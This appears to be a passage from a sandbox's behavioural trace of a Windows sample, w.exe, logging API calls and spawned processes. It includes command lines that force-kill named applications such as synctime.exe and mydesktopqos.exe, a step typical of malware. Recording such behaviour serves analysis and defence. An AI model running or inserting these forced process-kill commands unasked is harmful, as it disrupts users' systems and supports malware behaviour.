	[0036.970] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x46) returned 0x183420
	[0036.970] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0036.970] GetProcessHeap () returned 0x170000
	[0036.970] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x418) returned 0x1707f0
	[0036.970] SetErrorMode (uMode=0x0) returned 0x8003
	[0036.970] SetErrorMode (uMode=0x1) returned 0x0
	[0036.970] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1707f8, lpFilePart=0x3bf524 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf524*="Desktop") returned 0x25
	[0036.970] SetErrorMode (uMode=0x8003) returned 0x1
	[0036.970] GetProcessHeap () returned 0x170000
	[0036.971] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1707f0, Size=0x66) returned 0x1707f0
	[0036.971] GetProcessHeap () returned 0x170000
	[0036.971] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1707f0) returned 0x66
	[0036.971] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.971] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0036.971] GetProcessHeap () returned 0x170000
	[0036.971] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x120) returned 0x183470
	[0036.971] GetProcessHeap () returned 0x170000
	[0036.971] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x238) returned 0x170860
	[0036.973] GetProcessHeap () returned 0x170000
	[0036.973] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x170860, Size=0x122) returned 0x170860
	[0036.973] GetProcessHeap () returned 0x170000
	[0036.973] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x170860) returned 0x122
	[0036.973] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a810640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.973] GetProcessHeap () returned 0x170000
	[0036.973] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe0) returned 0x170990
	[0036.973] GetProcessHeap () returned 0x170000
	[0036.973] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x170990, Size=0x76) returned 0x170990
	[0036.973] GetProcessHeap () returned 0x170000
	[0036.973] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x170990) returned 0x76
	[0036.973] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.973] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3bf2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf2a0) returned 0xffffffff
	[0036.973] GetLastError () returned 0x2
	[0036.973] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3bf2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf2a0) returned 0xffffffff
	[0036.973] GetLastError () returned 0x2
	[0036.973] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.973] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3bf2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf2a0) returned 0x170a10
	[0036.974] GetProcessHeap () returned 0x170000
	[0036.974] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x14) returned 0x183598
	[0036.974] FindClose (in: hFindFile=0x170a10 | out: hFindFile=0x170a10) returned 1
	[0036.974] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3bf2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf2a0) returned 0xffffffff
	[0036.974] GetLastError () returned 0x2
	[0036.974] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3bf2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3bf2a0) returned 0x170a10
	[0036.974] GetProcessHeap () returned 0x170000
	[0036.974] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x183598, Size=0x4) returned 0x183598
	[0036.974] FindClose (in: hFindFile=0x170a10 | out: hFindFile=0x170a10) returned 1
	[0036.974] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0036.974] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0036.974] GetConsoleTitleW (in: lpConsoleTitle=0x3bf798, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0036.974] InitializeProcThreadAttributeList (in: lpAttributeList=0x3bf620, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3bf6e8 | out: lpAttributeList=0x3bf620, lpSize=0x3bf6e8) returned 1
	[0036.974] UpdateProcThreadAttribute (in: lpAttributeList=0x3bf620, dwFlags=0x0, Attribute=0x60001, lpValue=0x3bf6e0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3bf620, lpPreviousValue=0x0) returned 1
	[0036.974] GetStartupInfoW (in: lpStartupInfo=0x3bf5dc | out: lpStartupInfo=0x3bf5dc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0036.974] GetProcessHeap () returned 0x170000
	[0036.974] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x18) returned 0x170a10
	[0036.974] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0036.975] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0036.976] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0036.976] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.976] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.976] GetProcessHeap () returned 0x170000
	[0036.976] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170a10 | out: hHeap=0x170000) returned 1
	[0036.976] GetProcessHeap () returned 0x170000
	[0036.976] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xa) returned 0x17fee0
	[0036.976] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0036.977] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im synctime.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3bf67c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im synctime.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3bf6c8 | out: lpCommandLine="taskkill  /f /im synctime.exe ", lpProcessInformation=0x3bf6c8*(hProcess=0x78, hThread=0x74, dwProcessId=0x838, dwThreadId=0x828)) returned 1
	[0036.982] CloseHandle (hObject=0x74) returned 1
	[0036.982] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0036.982] GetProcessHeap () returned 0x170000
	[0036.982] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ed0 | out: hHeap=0x170000) returned 1
	[0036.982] GetEnvironmentStringsW () returned 0x194a48*
	[0036.982] GetProcessHeap () returned 0x170000
	[0036.982] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb36) returned 0x184090
	[0036.982] FreeEnvironmentStringsW (penv=0x194a48) returned 1
	[0036.983] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0037.272] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3bf5bc | out: lpExitCode=0x3bf5bc*=0x80) returned 1
	[0037.272] CloseHandle (hObject=0x78) returned 1
	[0037.272] _vsnwprintf (in: _Buffer=0x3bf704, _BufferCount=0x13, _Format="%08X", _ArgList=0x3bf5c8 | out: _Buffer="00000080") returned 8
	[0037.272] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0037.272] GetProcessHeap () returned 0x170000
	[0037.272] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184090 | out: hHeap=0x170000) returned 1
	[0037.272] GetEnvironmentStringsW () returned 0x184090*
	[0037.272] GetProcessHeap () returned 0x170000
	[0037.272] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x185ed0
	[0037.273] FreeEnvironmentStringsW (penv=0x184090) returned 1
	[0037.273] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0037.273] GetProcessHeap () returned 0x170000
	[0037.273] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ed0 | out: hHeap=0x170000) returned 1
	[0037.273] GetEnvironmentStringsW () returned 0x184090*
	[0037.273] GetProcessHeap () returned 0x170000
	[0037.273] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x185ed0
	[0037.273] FreeEnvironmentStringsW (penv=0x184090) returned 1
	[0037.273] GetProcessHeap () returned 0x170000
	[0037.273] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17fee0 | out: hHeap=0x170000) returned 1
	[0037.273] DeleteProcThreadAttributeList (in: lpAttributeList=0x3bf620 | out: lpAttributeList=0x3bf620) 
	[0037.273] _get_osfhandle (_FileHandle=1) returned 0xac
	[0037.273] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0037.273] _get_osfhandle (_FileHandle=1) returned 0xac
	[0037.273] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a8041ac | out: lpMode=0x4a8041ac) returned 0
	[0037.273] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0037.273] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a8041b0 | out: lpMode=0x4a8041b0) returned 0
	[0037.273] GetConsoleOutputCP () returned 0x1b5
	[0037.273] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a804260 | out: lpCPInfo=0x4a804260) returned 1
	[0037.273] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0037.274] exit (_Code=128) 

Process:
	id = "21"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a529000"
	os_pid = "0x838"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "20"
	os_parent_pid = "0x9bc"
	cmd_line = "taskkill  /f /im synctime.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 149
	os_tid = 0x828


Thread:
	id = 150
	os_tid = 0x82c


Thread:
	id = 151
	os_tid = 0x830


Thread:
	id = 152
	os_tid = 0x834


Thread:
	id = 153
	os_tid = 0x83c


Process:
	id = "22"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4ccf3000"
	os_pid = "0x840"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im mydesktopqos.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 154
	os_tid = 0x824

	[0037.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x34fa24 | out: lpSystemTimeAsFileTime=0x34fa24*(dwLowDateTime=0xfbebf310, dwHighDateTime=0x1d52dc4)) 
	[0037.340] GetCurrentProcessId () returned 0x840
	[0037.340] GetCurrentThreadId () returned 0x824
	[0037.340] GetTickCount () returned 0x19971
	[0037.340] QueryPerformanceCounter (in: lpPerformanceCount=0x34fa1c | out: lpPerformanceCount=0x34fa1c*=15765003511) returned 1
	[0037.341] GetModuleHandleA (lpModuleName=0x0) returned 0x4a940000
	[0037.341] __set_app_type (_Type=0x1) 
	[0037.341] __p__fmode () returned 0x74eb31f4
	[0037.341] __p__commode () returned 0x74eb31fc
	[0037.341] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9621a6) returned 0x0
	[0037.342] __getmainargs (in: _Argc=0x4a964238, _Argv=0x4a964240, _Env=0x4a96423c, _DoWildCard=0, _StartInfo=0x4a964140 | out: _Argc=0x4a964238, _Argv=0x4a964240, _Env=0x4a96423c) returned 0
	[0037.342] GetCurrentThreadId () returned 0x824
	[0037.342] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x824) returned 0x60
	[0037.342] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0037.342] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0037.342] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0037.342] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0037.342] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x34f9b4 | out: phkResult=0x34f9b4*=0x0) returned 0x2
	[0037.343] VirtualQuery (in: lpAddress=0x34f9eb, lpBuffer=0x34f984, dwLength=0x1c | out: lpBuffer=0x34f984*(BaseAddress=0x34f000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0037.343] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x34f984, dwLength=0x1c | out: lpBuffer=0x34f984*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0037.343] VirtualQuery (in: lpAddress=0x251000, lpBuffer=0x34f984, dwLength=0x1c | out: lpBuffer=0x34f984*(BaseAddress=0x251000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0037.343] VirtualQuery (in: lpAddress=0x253000, lpBuffer=0x34f984, dwLength=0x1c | out: lpBuffer=0x34f984*(BaseAddress=0x253000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0037.343] VirtualQuery (in: lpAddress=0x350000, lpBuffer=0x34f984, dwLength=0x1c | out: lpBuffer=0x34f984*(BaseAddress=0x350000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0037.343] GetConsoleOutputCP () returned 0x1b5
	[0037.343] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a964260 | out: lpCPInfo=0x4a964260) returned 1
	[0037.343] SetConsoleCtrlHandler (HandlerRoutine=0x4a95e72a, Add=1) returned 1
	[0037.343] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0037.343] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0037.343] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0037.343] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a9641ac | out: lpMode=0x4a9641ac) returned 0
	[0037.343] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0037.343] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a9641b0 | out: lpMode=0x4a9641b0) returned 0
	[0037.344] GetEnvironmentStringsW () returned 0x6c2010*
	[0037.344] GetProcessHeap () returned 0x6b0000
	[0037.344] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xaca) returned 0x6c2ae8
	[0037.344] FreeEnvironmentStringsW (penv=0x6c2010) returned 1
	[0037.344] GetProcessHeap () returned 0x6b0000
	[0037.344] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6c0c48
	[0037.344] GetEnvironmentStringsW () returned 0x6c2010*
	[0037.344] GetProcessHeap () returned 0x6b0000
	[0037.344] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xaca) returned 0x6c35c0
	[0037.344] FreeEnvironmentStringsW (penv=0x6c2010) returned 1
	[0037.344] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x34e924 | out: phkResult=0x34e924*=0x68) returned 0x0
	[0037.344] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x0, lpData=0x34e930*=0x0, lpcbData=0x34e928*=0x1000) returned 0x2
	[0037.344] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x1, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.344] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x0, lpData=0x34e930*=0x1, lpcbData=0x34e928*=0x1000) returned 0x2
	[0037.344] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x0, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.344] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x40, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x40, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x0, lpData=0x34e930*=0x40, lpcbData=0x34e928*=0x1000) returned 0x2
	[0037.345] RegCloseKey (hKey=0x68) returned 0x0
	[0037.345] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x34e924 | out: phkResult=0x34e924*=0x68) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x0, lpData=0x34e930*=0x40, lpcbData=0x34e928*=0x1000) returned 0x2
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x1, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x0, lpData=0x34e930*=0x1, lpcbData=0x34e928*=0x1000) returned 0x2
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x0, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x9, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x4, lpData=0x34e930*=0x9, lpcbData=0x34e928*=0x4) returned 0x0
	[0037.345] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x34e92c, lpData=0x34e930, lpcbData=0x34e928*=0x1000 | out: lpType=0x34e92c*=0x0, lpData=0x34e930*=0x9, lpcbData=0x34e928*=0x1000) returned 0x2
	[0037.345] RegCloseKey (hKey=0x68) returned 0x0
	[0037.345] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302e
	[0037.345] srand (_Seed=0x5d16302e) 
	[0037.345] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mydesktopqos.exe \""
	[0037.345] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mydesktopqos.exe \""
	[0037.345] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a965260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0037.346] GetProcessHeap () returned 0x6b0000
	[0037.346] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x210) returned 0x6c2010
	[0037.346] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6c2018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0037.346] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0037.346] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0037.346] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a970640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0037.346] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
